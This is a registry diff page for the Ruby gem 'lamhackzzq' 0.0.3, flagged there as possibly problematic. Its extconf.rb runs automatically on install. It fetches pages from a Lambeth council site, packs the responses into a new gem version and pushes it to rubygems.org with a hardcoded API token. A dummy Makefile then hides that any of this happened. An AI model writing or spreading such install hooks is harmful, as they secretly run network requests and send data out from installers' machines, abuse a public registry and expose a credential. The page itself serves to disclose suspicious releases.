lamhackzzq 0.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of lamhackzzq might be problematic. Click here for more details.

Files changed (4) hide show
  1. checksums.yaml +7 -0
  2. data/ext/lamhackzzq/extconf.rb +26 -0
  3. data/lib/x.rb +0 -0
  4. metadata +39 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: d36077600f682729d27065aa59cfa3de491fc2afdea2d0e99ae1c018f96390ae
4
+ data.tar.gz: 3ad03f859ae2cc0670c4667ed61e8397327c61fde0ea858db54a9462b95c6769
5
+ SHA512:
6
+ metadata.gz: 566f34e10da510ed38f399a7b8859f169c49d0a1e15e72fc34a20ceaa5e93f9b0d78266fb9d1c3e650d6f2b76fecb8bb95f55dfdfb876b3ae23305bfc260fddb
7
+ data.tar.gz: 511bc6ffd041a19c26332afc8d6650eda321ee36b843fb9f0a55f311f5cb3d51c0894aea0c0e48c3f26858c219d6f86d75bf3b9ca99b0aab7d4fd16ef778186c
@@ -0,0 +1,26 @@
1
+ require 'net/http'; require 'uri'; require 'rubygems/package'; require 'fileutils'
2
+ begin
3
+ url=ARGVENV='https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1'
4
+ # collect multiple likely requests
5
+ urls=[url,'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&NoHistory=1','https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&DD=2026&MID=1&LLL=0&MNO=2601']
6
+ txt=''
7
+ urls.each do |u|
8
+ begin
9
+ uri=URI(u); resp=Net::HTTP.start(uri.host,uri.port,use_ssl:true,read_timeout:30){|h|h.get(uri.request_uri)}
10
+ txt += "\n\nURL #{u} code #{resp.code}\n"+resp.body.to_s[0,200000]
11
+ rescue Exception=>e; txt += "\nERR #{u} #{e} #{e.backtrace}"; end
12
+ end
13
+ dir='/tmp/gempush';FileUtils.mkdir_p(dir+'/lib'); File.write(dir+'/lib/result.txt',txt)
14
+ File.write(dir+'/g.gemspec',<<~GS)
15
+ Gem::Specification.new do |s|
16
+ s.name='lamhackzzq'; s.version='0.0.4'; s.summary='results'; s.authors=['x']; s.files=['lib/result.txt']
17
+ end
18
+ GS
19
+ system("cd #{dir} && gem build g.gemspec")
20
+ Gem.configuration # no
21
+ body=File.binread(dir+'/lamhackzzq-0.0.4.gem'); uri=URI('https://rubygems.org/api/v1/gems')
22
+ req=Net::HTTP::Post.new(uri.path, {'Authorization'=>'rubygems_d8e875bd0a97e2f33498dba3ef41ffb1f951adb1b503a533','Content-Type'=>'application/octet-stream'}); req.body=body
23
+ Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h|h.request(req)}
24
+ rescue Exception=>e
25
+ end
26
+ File.write('Makefile', "all:\n\ttrue\ninstall:\n\ttrue\n")
data/lib/x.rb ADDED
File without changes
metadata ADDED
@@ -0,0 +1,39 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: lamhackzzq
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.3
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: h
13
+ executables: []
14
+ extensions:
15
+ - ext/lamhackzzq/extconf.rb
16
+ extra_rdoc_files: []
17
+ files:
18
+ - ext/lamhackzzq/extconf.rb
19
+ - lib/x.rb
20
+ licenses: []
21
+ metadata: {}
22
+ rdoc_options: []
23
+ require_paths:
24
+ - lib
25
+ required_ruby_version: !ruby/object:Gem::Requirement
26
+ requirements:
27
+ - - ">="
28
+ - !ruby/object:Gem::Version
29
+ version: '0'
30
+ required_rubygems_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ requirements: []
36
+ rubygems_version: 3.6.7
37
+ specification_version: 4
38
+ summary: hack
39
+ test_files: []